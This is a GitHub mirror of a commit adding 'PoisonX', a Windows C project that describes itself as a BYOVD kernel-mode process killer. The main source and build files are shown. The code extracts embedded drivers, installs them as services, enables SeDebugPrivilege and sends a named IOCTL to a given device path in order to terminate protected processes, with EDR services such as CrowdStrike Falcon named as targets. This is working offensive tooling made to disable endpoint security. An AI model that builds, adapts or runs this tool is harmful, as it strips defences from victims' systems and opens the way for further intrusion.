mirror of
https://github.com/oxfemale/PoisinX
synced 2026-06-08 16:35:24 +00:00
Добавьте файлы проекта.
This commit is contained in:
+37
@@ -0,0 +1,37 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36804.6 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PoisinX", "PoisinX\PoisinX.vcxproj", "{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|ARM64 = Debug|ARM64
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|ARM64 = Release|ARM64
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Debug|ARM64.ActiveCfg = Debug|ARM64
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Debug|ARM64.Build.0 = Debug|ARM64
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Debug|x64.Build.0 = Debug|x64
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Debug|x86.Build.0 = Debug|Win32
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Release|ARM64.ActiveCfg = Release|ARM64
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Release|ARM64.Build.0 = Release|ARM64
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Release|x64.ActiveCfg = Release|x64
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Release|x64.Build.0 = Release|x64
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Release|x86.ActiveCfg = Release|Win32
|
||||
{031A4315-FBF5-4A80-A7D2-1E74321D8DF9}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {90790676-53D5-4220-8AC8-60AA16D2242E}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,268 @@
|
||||
/*
|
||||
* PoisonX - PP/PPL Process Termination via GUID Device Driver
|
||||
*
|
||||
* kernel-mode process killer discovered during BYOVD research.
|
||||
* Uses a signed Microsoft driver (PoisonX.sys) that exposes an IOCTL
|
||||
* interface capable of terminating any process including PPL-protected
|
||||
* EDR services like CrowdStrike Falcon.
|
||||
*
|
||||
* Device path \\.\{F8284233-48F4-4680-ADDD-F8284233}
|
||||
* IOCTL 0x22E010
|
||||
* Signer Microsoft Windows Hardware Compatibility Publisher
|
||||
* Sign date 2025-03-25
|
||||
*
|
||||
* Coded by Eleven Red Pandas
|
||||
* GitHub: https://github.com/oxfemale
|
||||
* X: https://x.com/bytecodevm
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "log.h"
|
||||
#include "service.h"
|
||||
#include "extract.h"
|
||||
#include "proclist.h"
|
||||
#include "admin.h"
|
||||
#include "poison.h"
|
||||
#include "banner.h"
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Argument parsers
|
||||
// ---------------------------------------------------------------
|
||||
static int ParseLogLevel(int argc, WCHAR* argv[])
|
||||
{
|
||||
for (int i = 1; i < argc - 1; ++i)
|
||||
if (lstrcmpiW(argv[i], L"--log-level") == 0)
|
||||
{
|
||||
WCHAR* v = argv[i + 1];
|
||||
if (v[0] >= L'0' && v[0] <= L'3' && v[1] == L'\0')
|
||||
return (int)(v[0] - L'0');
|
||||
return -1;
|
||||
}
|
||||
return LOG_LEVEL_INFO;
|
||||
}
|
||||
|
||||
static const WCHAR* ParseLogFile(int argc, WCHAR* argv[])
|
||||
{
|
||||
for (int i = 1; i < argc - 1; ++i)
|
||||
if (lstrcmpiW(argv[i], L"--write-log") == 0)
|
||||
return argv[i + 1];
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int ParseExtractIndex(int argc, WCHAR* argv[])
|
||||
{
|
||||
for (int i = 1; i < argc - 1; ++i)
|
||||
if (lstrcmpiW(argv[i], L"--extract") == 0)
|
||||
{
|
||||
WCHAR* val = argv[i + 1];
|
||||
int result = 0;
|
||||
BOOL hasDigit = FALSE;
|
||||
for (WCHAR* p = val; *p; ++p)
|
||||
{
|
||||
if (*p < L'0' || *p > L'9') return -1;
|
||||
result = result * 10 + (int)(*p - L'0');
|
||||
hasDigit = TRUE;
|
||||
}
|
||||
return hasDigit ? result : -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Returns the parsed PID or -1 on error, 0 if flag absent
|
||||
static int ParsePoisonPid(int argc, WCHAR* argv[])
|
||||
{
|
||||
for (int i = 1; i < argc - 1; ++i)
|
||||
if (lstrcmpiW(argv[i], L"--poison-pid") == 0)
|
||||
{
|
||||
WCHAR* val = argv[i + 1];
|
||||
int result = 0;
|
||||
BOOL hasDigit = FALSE;
|
||||
for (WCHAR* p = val; *p; ++p)
|
||||
{
|
||||
if (*p < L'0' || *p > L'9') return -1;
|
||||
result = result * 10 + (int)(*p - L'0');
|
||||
hasDigit = TRUE;
|
||||
}
|
||||
return hasDigit ? result : -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
static void PrintUsage(void)
|
||||
{
|
||||
// Banner is printed at startup — no need to repeat it here
|
||||
LogMinimal(L"Usage:");
|
||||
LogMinimal(L" PoisonX.exe --driver-install <driver_name> [options]");
|
||||
LogMinimal(L" PoisonX.exe --driver-uninstall <driver_name> [options]");
|
||||
LogMinimal(L" PoisonX.exe --extract <resource_number> [options]");
|
||||
LogMinimal(L" PoisonX.exe --pid-list [options]");
|
||||
LogMinimal(L" PoisonX.exe --poison-pid <pid> [options]");
|
||||
LogMinimal(L"");
|
||||
LogMinimal(L"Options:");
|
||||
LogMinimal(L" --log-level <0-3> 0=minimal 1=info(default) 2=errors 3=verbose");
|
||||
LogMinimal(L" --write-log <file> Mirror all output to a UTF-8 log file");
|
||||
LogMinimal(L"");
|
||||
LogMinimal(L"Resource numbers:");
|
||||
WCHAR line[256];
|
||||
for (int i = 0; i < g_count; ++i)
|
||||
{
|
||||
wsprintfW(line, L" %d -> %s (id=%d)", i + 1, g_names[i], g_ids[i]);
|
||||
LogMinimal(line);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
static BOOL HandleExtract(int index)
|
||||
{
|
||||
if (index < 1 || index > g_count)
|
||||
{
|
||||
LogErrorMsg(L"--extract: resource number %d is out of range (1-%d)",
|
||||
index, g_count);
|
||||
return FALSE;
|
||||
}
|
||||
int i = index - 1;
|
||||
LogInfo(L"Extracting resource %d/%d: id=%d name=%s",
|
||||
index, g_count, g_ids[i], g_names[i]);
|
||||
return ExtractResource(g_ids[i], g_names[i]);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
int wmain(int argc, WCHAR* argv[])
|
||||
{
|
||||
AttachConsole(ATTACH_PARENT_PROCESS);
|
||||
|
||||
// --- Parse log settings before any output ---
|
||||
int level = ParseLogLevel(argc, argv);
|
||||
if (level < 0)
|
||||
{
|
||||
LogInit(LOG_LEVEL_INFO, NULL);
|
||||
LogErrorMsg(L"Invalid --log-level value. Allowed: 0, 1, 2, 3.");
|
||||
return 1;
|
||||
}
|
||||
const WCHAR* logFile = ParseLogFile(argc, argv);
|
||||
LogInit(level, logFile);
|
||||
|
||||
PrintBanner();
|
||||
|
||||
if (logFile)
|
||||
LogVerbose(L"Log file: %s", logFile);
|
||||
LogVerbose(L"Log level: %d", level);
|
||||
|
||||
// -------------------------------------------------------
|
||||
// Admin check — mandatory for all operations
|
||||
// -------------------------------------------------------
|
||||
if (!IsRunningAsAdmin())
|
||||
{
|
||||
LogMinimal(L"This tool requires administrator privileges. Exiting.");
|
||||
LogClose();
|
||||
return 1;
|
||||
}
|
||||
LogVerbose(L"Running as administrator: confirmed");
|
||||
|
||||
// Attempt to acquire SeDebugPrivilege — non-fatal if unavailable
|
||||
if (!EnableDebugPrivilege())
|
||||
LogVerbose(L"SeDebugPrivilege not available, continuing without it");
|
||||
else
|
||||
LogVerbose(L"SeDebugPrivilege acquired");
|
||||
|
||||
LogVerbose(L"Running as administrator: confirmed");
|
||||
|
||||
// Attempt to acquire SeDebugPrivilege for broader process access
|
||||
EnableDebugPrivilege();
|
||||
|
||||
// -------------------------------------------------------
|
||||
if (argc < 2)
|
||||
{
|
||||
PrintUsage();
|
||||
LogClose();
|
||||
return 1;
|
||||
}
|
||||
|
||||
const WCHAR* flag = argv[1];
|
||||
int ret = 0;
|
||||
|
||||
// -------------------------------------------------------
|
||||
if (lstrcmpiW(flag, L"--driver-install") == 0)
|
||||
{
|
||||
if (argc < 3) { LogErrorMsg(L"--driver-install requires <driver_name>"); ret = 1; }
|
||||
else ret = DriverInstall(argv[2]) ? 0 : 1;
|
||||
}
|
||||
// -------------------------------------------------------
|
||||
else if (lstrcmpiW(flag, L"--driver-uninstall") == 0)
|
||||
{
|
||||
if (argc < 3) { LogErrorMsg(L"--driver-uninstall requires <driver_name>"); ret = 1; }
|
||||
else ret = DriverUninstall(argv[2]) ? 0 : 1;
|
||||
}
|
||||
// -------------------------------------------------------
|
||||
else if (lstrcmpiW(flag, L"--extract") == 0)
|
||||
{
|
||||
int idx = ParseExtractIndex(argc, argv);
|
||||
if (idx == 0) { LogErrorMsg(L"--extract requires <resource_number>"); PrintUsage(); ret = 1; }
|
||||
else if (idx < 0) { LogErrorMsg(L"--extract: invalid number '%s'", argv[2]); ret = 1; }
|
||||
else ret = HandleExtract(idx) ? 0 : 1;
|
||||
}
|
||||
// -------------------------------------------------------
|
||||
else if (lstrcmpiW(flag, L"--pid-list") == 0)
|
||||
{
|
||||
PrintProcessList();
|
||||
}
|
||||
// -------------------------------------------------------
|
||||
else if (lstrcmpiW(flag, L"--poison-pid") == 0)
|
||||
{
|
||||
int pid = ParsePoisonPid(argc, argv);
|
||||
if (pid == 0) { LogErrorMsg(L"--poison-pid requires <pid>"); ret = 1; }
|
||||
else if (pid < 0) { LogErrorMsg(L"--poison-pid: invalid PID '%s'", argv[2]); ret = 1; }
|
||||
else {
|
||||
if (!ProcessExists(pid)) {
|
||||
LogErrorMsg(L"ERROR: Proccess PID %d don't exists!", pid);
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
LogErrorMsg(L"Proccess PID %d exists and run.", pid);
|
||||
}
|
||||
for (int i = 0; i < g_count; ++i)
|
||||
{
|
||||
if (TryOpenDriver() == 0) {
|
||||
LogErrorMsg(L"Failed to open driver. Make sure it is installed and running.");
|
||||
LogVerbose(L"Try auto installation of the driver...");
|
||||
ret = HandleExtract(i+1);
|
||||
if (ret == 1) {
|
||||
LogVerbose(L"Extracted driver successfully, attempting installation...");
|
||||
//WCHAR* TryDrv = (WCHAR*)g_names[0];
|
||||
ret = DriverInstall(g_names_try[i]) ? 0 : 1;
|
||||
if (ret == 0) {
|
||||
LogVerbose(L"Driver installed successfully, proceeding to poison PID %d", pid);
|
||||
ret = PoisonPid(pid) ? 0 : 1;
|
||||
return ret;
|
||||
}
|
||||
else {
|
||||
LogErrorMsg(L"Driver installation failed. Cannot proceed with poisoning.");
|
||||
//return 1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
LogErrorMsg(L"Failed to extract driver. Cannot proceed with installation.");
|
||||
//return 1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
LogVerbose(L"Driver is accessible, proceeding to poison PID %d", pid);
|
||||
ret = PoisonPid(pid) ? 0 : 1;
|
||||
return ret;
|
||||
}
|
||||
//return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
// -------------------------------------------------------
|
||||
else
|
||||
{
|
||||
LogErrorMsg(L"Unknown flag: %s", flag);
|
||||
PrintUsage();
|
||||
ret = 1;
|
||||
}
|
||||
|
||||
LogClose();
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,205 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|ARM64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{031a4315-fbf5-4a80-a7d2-1e74321d8df9}</ProjectGuid>
|
||||
<RootNamespace>PoisinX</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="admin.cpp" />
|
||||
<ClCompile Include="banner.cpp" />
|
||||
<ClCompile Include="extract.cpp" />
|
||||
<ClCompile Include="log.cpp" />
|
||||
<ClCompile Include="PoisinX.cpp" />
|
||||
<ClCompile Include="poison.cpp" />
|
||||
<ClCompile Include="proclist.cpp" />
|
||||
<ClCompile Include="service.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="admin.h" />
|
||||
<ClInclude Include="banner.h" />
|
||||
<ClInclude Include="extract.h" />
|
||||
<ClInclude Include="log.h" />
|
||||
<ClInclude Include="poison.h" />
|
||||
<ClInclude Include="proclist.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="service.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="resources.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,74 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Исходные файлы">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы ресурсов">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="PoisinX.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="extract.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="service.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="log.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="proclist.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="admin.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="poison.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="banner.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="extract.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="service.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="log.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="proclist.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="admin.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="poison.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="banner.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="resources.rc">
|
||||
<Filter>Файлы ресурсов</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,81 @@
|
||||
#include "admin.h"
|
||||
#include "log.h"
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
BOOL IsRunningAsAdmin(void)
|
||||
{
|
||||
BOOL isAdmin = FALSE;
|
||||
|
||||
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
|
||||
PSID adminSid = NULL;
|
||||
|
||||
if (!AllocateAndInitializeSid(
|
||||
&ntAuthority, 2,
|
||||
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&adminSid))
|
||||
{
|
||||
LogError(L"IsRunningAsAdmin: AllocateAndInitializeSid", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!CheckTokenMembership(NULL, adminSid, &isAdmin))
|
||||
{
|
||||
LogError(L"IsRunningAsAdmin: CheckTokenMembership", GetLastError());
|
||||
isAdmin = FALSE;
|
||||
}
|
||||
|
||||
FreeSid(adminSid);
|
||||
|
||||
LogVerbose(L"IsRunningAsAdmin: result = %s", isAdmin ? L"YES" : L"NO");
|
||||
return isAdmin;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
BOOL EnableDebugPrivilege(void)
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
if (!OpenProcessToken(
|
||||
GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
|
||||
&hToken))
|
||||
{
|
||||
LogError(L"EnableDebugPrivilege: OpenProcessToken", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LUID luid = { 0 };
|
||||
if (!LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &luid))
|
||||
{
|
||||
LogError(L"EnableDebugPrivilege: LookupPrivilegeValueW", GetLastError());
|
||||
CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
TOKEN_PRIVILEGES tp = { 0 };
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
